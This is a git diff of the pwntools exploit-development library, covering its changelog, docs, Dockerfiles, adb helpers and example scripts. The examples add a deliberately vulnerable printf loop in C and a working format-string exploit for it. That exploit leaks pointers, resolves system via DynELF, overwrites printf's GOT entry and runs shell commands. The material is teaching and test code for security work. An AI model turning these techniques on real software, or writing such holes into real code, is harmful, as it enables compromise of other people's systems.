- [#1699][1699] Fix broken linux shellcraft templates
|
||||
|
||||
[1625]: https://github.com/Gallopsled/pwntools/pull/1625
|
||||
[1699]: https://github.com/Gallopsled/pwntools/pull/1699
|
||||
|
||||
## 4.2.0
|
||||
|
||||
- [#1436][1436] Add ret2dlresolve automation
|
||||
- [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)
|
||||
@@ -66,7 +189,38 @@ To be released on Jun 5, 2020.
|
||||
[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
|
||||
[1454]: https://github.com/Gallopsled/pwntools/pull/1454
|
||||
|
||||
## 4.1.1 (`stable`)
|
||||
## 4.1.7 (`stable`)
|
||||
|
||||
- [#1615][1615] Fix aarch64 pushstr and pushstr_array
|
||||
|
||||
[1615]: https://github.com/Gallopsled/pwntools/pull/1454
|
||||
|
||||
## 4.1.5
|
||||
|
||||
- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
|
||||
|
||||
[1517]: https://github.com/Gallopsled/pwntools/pull/1517
|
||||
|
||||
## 4.1.4
|
||||
|
||||
- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields
|
||||
|
||||
[1609]: https://github.com/Gallopsled/pwntools/pull/1609
|
||||
|
||||
## 4.1.3
|
||||
|
||||
- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes
|
||||
- Also fix `run_in_new_terminal` for Py2 unicode strings
|
||||
- [#1595][1595] Fix ssh.process(timeout=)
|
||||
|
||||
[1590]: https://github.com/Gallopsled/pwntools/pull/1590
|
||||
[1595]: https://github.com/Gallopsled/pwntools/pull/1595
|
||||
|
||||
## 4.1.2
|
||||
|
||||
- Pwntools requires `six` v.1.12.0 or higher
|
||||
|
||||
## 4.1.1
|
||||
|
||||
- Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)
|
||||
- Fix wrong ELF/context unpack handling (c4c11a37)
|
||||
@@ -89,7 +243,7 @@ To be released on Jun 5, 2020.
|
||||
[1001]: https://github.com/Gallopsled/pwntools/pull/1001
|
||||
[1389]: https://github.com/Gallopsled/pwntools/pull/1389
|
||||
[1241]: https://github.com/Gallopsled/pwntools/pull/1241
|
||||
[1218]: https://github.com/Gallopsled/pwntools/pull/1218
|
||||
[1218]: https://github.com/Gallopsled/pwntools/pull/1218
|
||||
|
||||
## 4.0.1
|
||||
|
||||
|
||||
@@ -1,12 +1,13 @@
|
||||
# pwntools - CTF toolkit
|
||||

|
||||
|
||||
[](https://docs.pwntools.com/)
|
||||
[](https://pypi.python.org/pypi/pwntools/)
|
||||
[](https://travis-ci.org/Gallopsled/pwntools)
|
||||
[](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
|
||||
[](https://twitter.com/pwntools)
|
||||
[](https://docs.pwntools.com/)
|
||||
[](https://travis-ci.org/Gallopsled/pwntools)
|
||||

|
||||
[](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
|
||||
[](http://choosealicense.com/licenses/mit/)
|
||||
[](https://twitter.com/pwntools)
|
||||
|
||||
Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
|
||||
|
||||
@@ -20,19 +21,17 @@ r.send(asm(shellcraft.sh()))
|
||||
r.interactive()
|
||||
```
|
||||
|
||||
# Try It Now!
|
||||
|
||||
You can now do a live demo of Pwntools, [right in your browser](https://demo.pwntools.com).
|
||||
|
||||
# Documentation
|
||||
|
||||
Our documentation is available at [docs.pwntools.com](https://docs.pwntools.com/)
|
||||
|
||||
A series of tutorials is also [available online](https://github.com/Gallopsled/pwntools-tutorial#readme)
|
||||
|
||||
To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).
|
||||
|
||||
# Installation
|
||||
|
||||
Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, 16.04 and 18.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). Python >= 2.7 is required (Python 3 suggested as best).
|
||||
Pwntools is best supported on 64-bit Ubuntu LTE releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.). Python >= 2.7 is required (Python 3 suggested as best).
|
||||
|
||||
Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
|
||||
|
||||
@@ -40,7 +39,7 @@ Most of the functionality of pwntools is self-contained and Python-only. You sh
|
||||
apt-get update
|
||||
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
|
||||
python3 -m pip install --upgrade pip
|
||||
python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3
|
||||
python3 -m pip install --upgrade pwntools
|
||||
```
|
||||
|
||||
However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies. For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).
|
||||
|
||||
+5
-8
@@ -88,6 +88,10 @@ class stdout(object):
|
||||
def __setattr__(self, name, value):
|
||||
return setattr(sys.stdout, name, value)
|
||||
pwnlib.context.ContextType.defaults['log_console'] = stdout()
|
||||
|
||||
github_actions = os.environ.get('USER') == 'runner'
|
||||
travis_ci = os.environ.get('USER') == 'travis'
|
||||
branch_dev = os.environ.get('GITHUB_BASE_REF') == 'dev'
|
||||
'''
|
||||
|
||||
autoclass_content = 'both'
|
||||
@@ -337,7 +341,7 @@ def linkcode_resolve(domain, info):
|
||||
val = mod
|
||||
for k in info['fullname'].split('.'):
|
||||
val = getattr(val, k, None)
|
||||
if val == None:
|
||||
if val is None:
|
||||
break
|
||||
|
||||
# Special case for shellcraft
|
||||
@@ -407,13 +411,6 @@ def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
|
||||
checker = Py2OutputChecker()
|
||||
doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
|
||||
|
||||
class EndlessLoop(Exception): pass
|
||||
def alrm_handler(sig, frame):
|
||||
signal.alarm(180) # three minutes
|
||||
raise EndlessLoop()
|
||||
signal.signal(signal.SIGALRM, alrm_handler)
|
||||
signal.alarm(600) # ten minutes
|
||||
|
||||
if 'doctest' in sys.argv:
|
||||
def setup(app):
|
||||
app.connect('autodoc-skip-member', dont_skip_any_doctests)
|
||||
|
||||
+16
-12
@@ -1,25 +1,29 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
|
||||
|
||||
:mod:`pwnlib.encoders` --- Encoding Shellcode
|
||||
===============================================
|
||||
|
||||
.. automodule:: pwnlib.encoders
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.encoder
|
||||
:members:
|
||||
|
||||
|
||||
.. automodule:: pwnlib.encoders.amd64
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.arm
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.i386
|
||||
.. automodule:: pwnlib.encoders.i386.ascii_shellcode
|
||||
:members:
|
||||
:special-members:
|
||||
:exclude-members: __init__
|
||||
|
||||
.. automodule:: pwnlib.encoders.i386.xor
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.i386.delta
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.amd64.delta
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.arm.xor
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.mips.xor
|
||||
:members:
|
||||
@@ -39,7 +39,7 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
|
||||
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
|
||||
|
||||
Alternate OSes
|
||||
^^^^^^^^^^^^^^^^
|
||||
|
||||
+10
-3
@@ -17,6 +17,13 @@ assemble, disassemble, pack, unpack, and many other things with a single functio
|
||||
A full list of everything that is imported is available on :doc:`globals`.
|
||||
|
||||
|
||||
Tutorials
|
||||
---------
|
||||
|
||||
A series of tutorials for Pwntools exists online, at
|
||||
https://github.com/Gallopsled/pwntools-tutorial#readme
|
||||
|
||||
|
||||
Making Connections
|
||||
------------------
|
||||
|
||||
@@ -188,10 +195,10 @@ Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.
|
||||
|
||||
Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.
|
||||
|
||||
>>> print(cyclic(20).decode())
|
||||
aaaabaaacaaadaaaeaaa
|
||||
>>> cyclic(20)
|
||||
b'aaaabaaacaaadaaaeaaa'
|
||||
>>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166)) at crash time
|
||||
>>> print(cyclic_find(b'faab'))
|
||||
>>> cyclic_find(b'faab')
|
||||
120
|
||||
|
||||
ELF Manipulation
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
import tempfile
|
||||
|
||||
:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
|
||||
========================================================
|
||||
|
||||
.. automodule:: pwnlib.rop.ret2dlresolve
|
||||
:members:
|
||||
+16
-16
@@ -17,19 +17,19 @@
|
||||
count ,
|
||||
cycle ,
|
||||
dropwhile ,
|
||||
filter ,
|
||||
filterfalse ,
|
||||
groupby ,
|
||||
ifilter ,
|
||||
ifilterfalse ,
|
||||
imap ,
|
||||
islice ,
|
||||
izip ,
|
||||
izip_longest ,
|
||||
map ,
|
||||
permutations ,
|
||||
product ,
|
||||
repeat ,
|
||||
starmap ,
|
||||
takewhile ,
|
||||
tee
|
||||
tee ,
|
||||
zip ,
|
||||
zip_longest
|
||||
|
||||
.. function:: chain
|
||||
|
||||
@@ -63,29 +63,29 @@
|
||||
|
||||
Alias for :func:`itertools.groupby`
|
||||
|
||||
.. function:: ifilter
|
||||
.. function:: filter
|
||||
|
||||
Alias for :func:`itertools.ifilter`
|
||||
Alias for python3-style :func:`filter`
|
||||
|
||||
.. function:: ifilterfalse
|
||||
.. function:: filterfalse
|
||||
|
||||
Alias for :func:`itertools.ifilterfalse`
|
||||
Alias for :func:`itertools.filterfalse`
|
||||
|
||||
.. function:: imap
|
||||
.. function:: map
|
||||
|
||||
Alias for :func:`itertools.imap`
|
||||
Alias for python3-style :func:`map`
|
||||
|
||||
.. function:: islice
|
||||
|
||||
Alias for :func:`itertools.islice`
|
||||
|
||||
.. function:: izip
|
||||
.. function:: zip
|
||||
|
||||
Alias for :func:`itertools.izip`
|
||||
Alias for python3-style :func:`zip`
|
||||
|
||||
.. function:: izip_longest
|
||||
.. function:: zip_longest
|
||||
|
||||
Alias for :func:`itertools.izip_longest`
|
||||
Alias for :func:`itertools.zip_longest`
|
||||
|
||||
.. function:: permutations
|
||||
|
||||
|
||||
@@ -25,4 +25,4 @@ atexit.register(r.clean_and_log)
|
||||
|
||||
while True:
|
||||
line = r.recvline()
|
||||
print(re.findall('^prefix (\S+)$', line)[0])
|
||||
print(re.findall(r'^prefix (\S+)$', line)[0])
|
||||
@@ -1,9 +1,11 @@
|
||||
CFLAGS := -Wno-unused-result -Wno-format-security
|
||||
TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
|
||||
printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32
|
||||
printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
|
||||
printf-loop.native printf-loop.native32
|
||||
|
||||
.PHONY: run
|
||||
run: all
|
||||
./exploit2.py
|
||||
./exploit.py
|
||||
|
||||
.PHONY: all
|
||||
@@ -43,7 +45,7 @@ clean:
|
||||
%.native: %.c
|
||||
gcc $(CFLAGS) -o "$@" $^
|
||||
%.native32: %.c
|
||||
i686-linux-gnu-gcc $(CFLAGS) -o "$@" $^
|
||||
gcc $(CFLAGS) -m32 -o "$@" $^
|
||||
|
||||
# install deps on ubuntu xenial
|
||||
.PHONY: install-apt
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
|
||||
@context.quiet
|
||||
@@ -15,7 +15,7 @@ def exploit(binary):
|
||||
addr = unpack(p.recv(context.bytes))
|
||||
payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
|
||||
p.sendline(payload)
|
||||
p.recvuntil("DONE")
|
||||
p.recvuntil(b"DONE")
|
||||
print(hex(u32(p.recv(4))))
|
||||
|
||||
binaries = [
|
||||
|
||||
Executable
+68
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env python
|
||||
"""
|
||||
An example combining fmtstr and dynelf to automatically exploit a PIE binary.
|
||||
"""
|
||||
|
||||
from pwn import *
|
||||
|
||||
def exploit(e):
|
||||
p = e.process()
|
||||
|
||||
def executer(fmt):
|
||||
p.sendline(fmt)
|
||||
p.stdin.flush()
|
||||
r = p.recvuntil(b'again=\n')
|
||||
return r
|
||||
f = FmtStr(executer)
|
||||
|
||||
# find some code pointer on stack
|
||||
addrbits = min(context.bits, 48) # address space is no larger than 48-bit
|
||||
min_code_ptr = 0x10 << addrbits-8
|
||||
max_code_ptr = 0x7e << addrbits-8
|
||||
for off in range(64):
|
||||
random_code_ptr = f.leak_stack(off)
|
||||
packed = bytearray(pack(random_code_ptr))
|
||||
chars = set(packed) - {0}
|
||||
# simple heuristic
|
||||
if (min_code_ptr < random_code_ptr < max_code_ptr
|
||||
and max(chars) > 0x80 and min(chars) < 0x80
|
||||
and not hex(random_code_ptr).startswith('0x7ff')):
|
||||
break
|
||||
|
||||
log.info("Code ptr: %#x"%random_code_ptr)
|
||||
|
||||
online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
|
||||
|
||||
print("Stack: %#x" % (online_elf.stack(),))
|
||||
print("Heap: %#x" % (online_elf.heap(),))
|
||||
|
||||
info("Finding base address of the executable")
|
||||
for ref in e.sym:
|
||||
if not ref:
|
||||
continue
|
||||
# if we have the address of a symbol on remote, we know the offset
|
||||
ref_addr = online_elf.lookup(ref)
|
||||
if ref_addr:
|
||||
print("%s: %r" % (ref, ref_addr))
|
||||
break
|
||||
|
||||
system = online_elf.lookup('system', 'libc')
|
||||
print("system: %#x" % system)
|
||||
|
||||
# fix up the address
|
||||
e.address += ref_addr - e.sym[ref]
|
||||
|
||||
# actual exploit: overwrite printf with system
|
||||
f.write(e.sym.got.printf, system)
|
||||
f.execute_writes()
|
||||
|
||||
p.sendline(b'echo ::$(( 16 * 16 ))')
|
||||
p.recvuntil(b'::')
|
||||
line = p.recvline()
|
||||
assert line == b'256\n'
|
||||
p.sendline(b'exit')
|
||||
p.close()
|
||||
|
||||
|
||||
for context.binary in 'printf-loop.native32', 'printf-loop.native':
|
||||
exploit(context.binary)
|
||||
@@ -0,0 +1,14 @@
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main() {
|
||||
while (1) {
|
||||
char str[256];
|
||||
int n = read(STDIN_FILENO, str, sizeof(str) - 1);
|
||||
str[n] = '\0';
|
||||
printf(str);
|
||||
printf("\n=try again=\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -21,11 +21,11 @@ c2 = PathCompleter(mask = '*.py')
|
||||
with c1:
|
||||
print('type "exit" to exit')
|
||||
while True:
|
||||
s = term.readline.readline(prompt = '> ').strip()
|
||||
s = str_input(prompt = '> ').strip()
|
||||
if s in ('exit', 'enough!'):
|
||||
break
|
||||
print('You wrote', s)
|
||||
with c2:
|
||||
print('choose a file')
|
||||
s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
|
||||
s = str_input(prompt = text.bold_green('$ ')).strip()
|
||||
print('You picked', s)
|
||||
@@ -3,11 +3,12 @@ context.arch='aarch64'
|
||||
frame = SigreturnFrame()
|
||||
|
||||
registers = ['x%i' % i for i in range(0, 31)]
|
||||
registers += ['sp', 'pc']
|
||||
registers += ['pc']
|
||||
|
||||
|
||||
for index, register in enumerate(registers):
|
||||
setattr(frame, register, index)
|
||||
frame.sp = 64
|
||||
|
||||
assembly = '\n'.join([
|
||||
shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
|
||||
@@ -23,8 +24,9 @@ assert io.poll() == -11
|
||||
|
||||
corefile = io.corefile
|
||||
|
||||
for index, register in enumerate(registers):
|
||||
for register in registers:
|
||||
value = getattr(corefile, register)
|
||||
index = getattr(frame, register)
|
||||
if index != value:
|
||||
log.error("%s != %i (%i)" % (register, index, value))
|
||||
else:
|
||||
|
||||
@@ -4,11 +4,12 @@ context.arch='arm'
|
||||
frame = SigreturnFrame()
|
||||
|
||||
registers = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7',
|
||||
'r8', 'r9', 'r10', 'fp', 'ip', 'sp', 'pc', 'lr']
|
||||
'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr']
|
||||
|
||||
|
||||
for index, register in enumerate(registers):
|
||||
setattr(frame, register, index)
|
||||
frame.sp = 64
|
||||
|
||||
assembly = '\n'.join([
|
||||
shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
|
||||
@@ -24,8 +25,9 @@ assert io.poll() == -11
|
||||
|
||||
corefile = io.corefile
|
||||
|
||||
for index, register in enumerate(registers):
|
||||
for register in registers:
|
||||
value = getattr(corefile, register)
|
||||
index = getattr(frame, register)
|
||||
if index != value:
|
||||
log.error("%s != %i (%i)" % (register, index, value))
|
||||
else:
|
||||
|
||||
@@ -12,7 +12,7 @@ h = log.waitfor('spinners running', status = str(n))
|
||||
hs = []
|
||||
print('type "q" to quit')
|
||||
while True:
|
||||
s = raw_input('> ')
|
||||
s = str_input('> ').strip()
|
||||
if s == 'q':
|
||||
break
|
||||
hs.append(log.waitfor(s, status = 'running'))
|
||||
|
||||
+1
-1
@@ -9,5 +9,5 @@ splash()
|
||||
h = log.waitfor("You wrote", status = "--")
|
||||
|
||||
while True:
|
||||
l = raw_input('> ')
|
||||
l = str_input('> ').strip()
|
||||
h.status(l.upper())
|
||||
@@ -36,5 +36,14 @@ print(shell.echo("single string"))
|
||||
print(shell.echo(["list","of","strings"]))
|
||||
print(shell["echo single statement"])
|
||||
|
||||
# ssh.process() is the most flexible way to run a command)
|
||||
io = shell.process(['/bin/bash', '-c', 'echo Hello $FOO'],
|
||||
env={'FOO': 'World'}, # Set environment
|
||||
stderr='/dev/null', # Override file descriptors
|
||||
aslr=False, # Disable ASLR on processes
|
||||
setuid=False, # Disable setuid bit so processes can be debugged
|
||||
shell=False) # Enable or disable shell evaluation
|
||||
print(io.recvall())
|
||||
|
||||
# Show off the interactive shell
|
||||
shell.interactive()
|
||||
+1
-1
@@ -1 +1 @@
|
||||
xenial
|
||||
bionic
|
||||
@@ -1,6 +1,6 @@
|
||||
FROM pwntools/pwntools:stable
|
||||
|
||||
USER root
|
||||
RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@beta
|
||||
RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@beta
|
||||
RUN PWNLIB_NOTERM=1 pwn update
|
||||
USER pwntools
|
||||
@@ -0,0 +1,34 @@
|
||||
############################################################
|
||||
# Dockerfile to build Pwntools container
|
||||
# Based on Ubuntu
|
||||
############################################################
|
||||
|
||||
FROM ubuntu:bionic
|
||||
MAINTAINER Maintainer Gallopsled et al.
|
||||
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y \
|
||||
build-essential \
|
||||
git \
|
||||
libssl-dev \
|
||||
libffi-dev \
|
||||
python3 \
|
||||
python3-pip \
|
||||
python3-dev \
|
||||
qemu-user-static \
|
||||
binutils-arm-linux-gnueabihf \
|
||||
binutils-aarch64-linux-gnu \
|
||||
binutils-mips-linux-gnu \
|
||||
binutils-mipsel-linux-gnu \
|
||||
binutils-powerpc-linux-gnu \
|
||||
binutils-powerpc64-linux-gnu \
|
||||
binutils-sparc64-linux-gnu \
|
||||
&& pip3 install --upgrade pip \
|
||||
&& python3 -m pip install --upgrade pwntools \
|
||||
&& PWNLIB_NOTERM=1 pwn update \
|
||||
&& apt-get install -y sudo \
|
||||
&& useradd -m pwntools \
|
||||
&& passwd --delete --unlock pwntools \
|
||||
&& echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
|
||||
USER pwntools
|
||||
WORKDIR /home/pwntools
|
||||
@@ -1,6 +1,6 @@
|
||||
FROM pwntools/pwntools:stable
|
||||
|
||||
USER root
|
||||
RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev
|
||||
RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@dev
|
||||
RUN PWNLIB_NOTERM=1 pwn update
|
||||
USER pwntools
|
||||
@@ -1,6 +1,6 @@
|
||||
FROM pwntools/pwntools:base
|
||||
|
||||
USER root
|
||||
RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@stable
|
||||
RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@stable
|
||||
RUN PWNLIB_NOTERM=1 pwn update
|
||||
USER pwntools
|
||||
+5
-2
@@ -5,6 +5,7 @@ import math
|
||||
import operator
|
||||
import os
|
||||
import re
|
||||
import requests
|
||||
import socks
|
||||
import signal
|
||||
import string
|
||||
@@ -31,14 +32,16 @@ from pwnlib.exception import PwnlibException
|
||||
from pwnlib.gdb import attach, debug, debug_assembly, debug_shellcode
|
||||
from pwnlib.filepointer import *
|
||||
from pwnlib.flag import *
|
||||
from pwnlib.fmtstr import FmtStr, fmtstr_payload
|
||||
from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
|
||||
from pwnlib.log import getLogger
|
||||
from pwnlib.memleak import MemLeak, RelativeMemLeak
|
||||
from pwnlib.regsort import *
|
||||
from pwnlib.replacements import *
|
||||
from pwnlib.rop import ROP
|
||||
from pwnlib.rop.srop import SigreturnFrame
|
||||
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
|
||||
from pwnlib.runner import *
|
||||
from pwnlib.term.readline import str_input
|
||||
from pwnlib.timeout import Timeout
|
||||
from pwnlib.tubes.listen import listen
|
||||
from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
|
||||
@@ -78,4 +81,4 @@ info = log.info
|
||||
debug = log.debug
|
||||
success = log.success
|
||||
|
||||
__all__ = [x for x in globals().keys() if x != '__name__']
|
||||
__all__ = [x for x in tuple(globals()) if x != '__name__']
|
||||
+102
-36
@@ -75,8 +75,10 @@ log = getLogger(__name__)
|
||||
def adb(argv, *a, **kw):
|
||||
r"""Returns the output of an ADB subcommand.
|
||||
|
||||
>>> adb.adb(['get-serialno'])
|
||||
>>> adb.adb('get-serialno')
|
||||
b'emulator-5554\n'
|
||||
>>> adb.adb(['shell', 'uname']) # it is better to use adb.process
|
||||
b'Linux\n'
|
||||
"""
|
||||
if isinstance(argv, (bytes, six.text_type)):
|
||||
argv = [argv]
|
||||
@@ -198,6 +200,10 @@ def uptime():
|
||||
|
||||
Returns:
|
||||
Uptime of the device, in seconds
|
||||
|
||||
Example:
|
||||
>>> adb.uptime() > 3 # normally AVD takes ~7 seconds to boot
|
||||
True
|
||||
"""
|
||||
up, idle = map(float, read('/proc/uptime').split())
|
||||
return up
|
||||
@@ -209,10 +215,15 @@ def boot_time():
|
||||
Returns:
|
||||
Boot time of the device, in Unix time, rounded to the
|
||||
nearest second.
|
||||
|
||||
Example:
|
||||
>>> import time
|
||||
>>> adb.boot_time() < time.time()
|
||||
True
|
||||
"""
|
||||
for line in read('/proc/stat').splitlines():
|
||||
name, value = line.split(None, 1)
|
||||
if name == 'btime':
|
||||
if name == b'btime':
|
||||
return int(value)
|
||||
|
||||
class AdbDevice(Device):
|
||||
@@ -662,9 +673,9 @@ def makedirs(path):
|
||||
|
||||
Examples:
|
||||
|
||||
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
|
||||
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/hierarchy')
|
||||
>>> adb.listdir('/data/local/tmp/this/is/a/directory')
|
||||
['heirarchy']
|
||||
['hierarchy']
|
||||
"""
|
||||
if path != '/':
|
||||
makedirs(os.path.dirname(path))
|
||||
@@ -816,17 +827,18 @@ def which(name, all = False, *a, **kw):
|
||||
"""
|
||||
# Unfortunately, there is no native 'which' on many phones.
|
||||
which_cmd = '''
|
||||
echo $PATH | while read -d: directory; do
|
||||
[ -x "$directory/{name}" ] || continue;
|
||||
echo -n "$directory/{name}\\x00";
|
||||
done
|
||||
(IFS=:
|
||||
for directory in $PATH; do
|
||||
[ -x "$directory/{name}" ] || continue;
|
||||
echo -n "$directory/{name}\\x00";
|
||||
done
|
||||
)
|
||||
[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
|
||||
'''.format(name=name)
|
||||
|
||||
which_cmd = which_cmd.strip()
|
||||
data = process(['sh','-c', which_cmd], *a, **kw).recvall()
|
||||
if not hasattr(data, 'encode'):
|
||||
data = data.decode('utf-8')
|
||||
data = context._decode(data)
|
||||
result = []
|
||||
|
||||
for path in data.split('\x00'):
|
||||
@@ -849,6 +861,12 @@ done
|
||||
|
||||
@with_device
|
||||
def whoami():
|
||||
"""Returns current shell user
|
||||
|
||||
Example:
|
||||
>>> adb.whoami()
|
||||
b'root'
|
||||
"""
|
||||
return process(['sh','-ic','echo $USER']).recvall().strip()
|
||||
|
||||
@with_device
|
||||
@@ -896,7 +914,12 @@ def pidof(name):
|
||||
|
||||
@with_device
|
||||
def proc_exe(pid):
|
||||
"""Returns the full path of the executable for the provided PID."""
|
||||
"""Returns the full path of the executable for the provided PID.
|
||||
|
||||
Example:
|
||||
>>> adb.proc_exe(1)
|
||||
b'/init'
|
||||
"""
|
||||
with context.quiet:
|
||||
io = process(['realpath','/proc/%d/exe' % pid])
|
||||
data = io.recvall().strip()
|
||||
@@ -912,24 +935,23 @@ def getprop(name=None):
|
||||
Returns:
|
||||
If ``name`` is not specified, a ``dict`` of all properties is returned.
|
||||
Otherwise, a string is returned with the contents of the named property.
|
||||
|
||||
Example:
|
||||
>>> adb.getprop() # doctest: +ELLIPSIS
|
||||
{...}
|
||||
"""
|
||||
with context.quiet:
|
||||
if name:
|
||||
result = process(['getprop', name]).recvall().strip()
|
||||
if not hasattr(result, 'encode'):
|
||||
result = result.decode('utf-8')
|
||||
result = context._decode(result)
|
||||
return result
|
||||
|
||||
|
||||
result = process(['getprop']).recvall()
|
||||
|
||||
if not hasattr(result, 'encode'):
|
||||
result = result.decode('utf-8')
|
||||
|
||||
result = context._decode(result)
|
||||
expr = r'\[([^\]]+)\]: \[(.*)\]'
|
||||
|
||||
props = {}
|
||||
|
||||
for line in result.splitlines():
|
||||
if not line.startswith('['):
|
||||
continue
|
||||
@@ -960,7 +982,7 @@ def listdir(directory='/'):
|
||||
Otherwise, less files may be returned due to restrictive SELinux
|
||||
policies on adbd.
|
||||
"""
|
||||
return list(sorted(AdbClient().list(directory)))
|
||||
return sorted(AdbClient().list(directory))
|
||||
|
||||
@with_device
|
||||
def fastboot(args, *a, **kw):
|
||||
@@ -1028,6 +1050,11 @@ class Kernel(object):
|
||||
|
||||
@property
|
||||
def address(self):
|
||||
"""Returns kernel address
|
||||
Example:
|
||||
>>> hex(adb.kernel.address) # doctest: +ELLIPSIS
|
||||
'0x...000'
|
||||
"""
|
||||
return self.symbols['_text']
|
||||
|
||||
@property
|
||||
@@ -1050,7 +1077,7 @@ class Kernel(object):
|
||||
self._kallsyms = {}
|
||||
root()
|
||||
write('/proc/sys/kernel/kptr_restrict', '1')
|
||||
self._kallsyms = read('/proc/kallsyms')
|
||||
self._kallsyms = read('/proc/kallsyms').decode('ascii')
|
||||
return self._kallsyms
|
||||
|
||||
@property
|
||||
@@ -1148,8 +1175,12 @@ class Property(object):
|
||||
setprop(attr, value)
|
||||
|
||||
def __eq__(self, other):
|
||||
# Allow simple comparison, e.g.:
|
||||
# adb.properties.ro.oem_unlock_supported == "1"
|
||||
"""Allow simple comparison
|
||||
|
||||
Example:
|
||||
>>> adb.properties.ro.build.version.sdk == "24"
|
||||
True
|
||||
"""
|
||||
if isinstance(other, six.string_types):
|
||||
return str(self) == other
|
||||
return super(Property, self).__eq__(other)
|
||||
@@ -1232,7 +1263,24 @@ def _generate_ndk_project(file_list, abi='arm-v7a', platform_version=21):
|
||||
return root
|
||||
|
||||
def compile(source):
|
||||
"""Compile a source file or project with the Android NDK."""
|
||||
r"""Compile a source file or project with the Android NDK.
|
||||
|
||||
Example:
|
||||
>>> temp = tempfile.mktemp('.c')
|
||||
>>> write(temp, '''
|
||||
... #include <stdio.h>
|
||||
... static char buf[4096];
|
||||
... int main() {
|
||||
... FILE *fp = fopen("/proc/self/maps", "r");
|
||||
... int n = fread(buf, 1, sizeof(buf), fp);
|
||||
... fwrite(buf, 1, n, stdout);
|
||||
... return 0;
|
||||
... }''')
|
||||
>>> filename = adb.compile(temp)
|
||||
>>> sent = adb.push(filename, "/data/local/tmp")
|
||||
>>> adb.process(sent).recvall() # doctest: +ELLIPSIS
|
||||
b'... /system/bin/linker\n...'
|
||||
"""
|
||||
|
||||
ndk_build = misc.which('ndk-build')
|
||||
if not ndk_build:
|
||||
@@ -1279,7 +1327,7 @@ def compile(source):
|
||||
result = io.recvall()
|
||||
|
||||
if 0 != io.poll():
|
||||
log.error("Build failed:\n%s" % result)
|
||||
log.error("Build failed:\n%s", result)
|
||||
|
||||
# Find all of the output files
|
||||
output = glob.glob(os.path.join(lib, '*', '*'))
|
||||
@@ -1329,36 +1377,57 @@ def find(top, name):
|
||||
|
||||
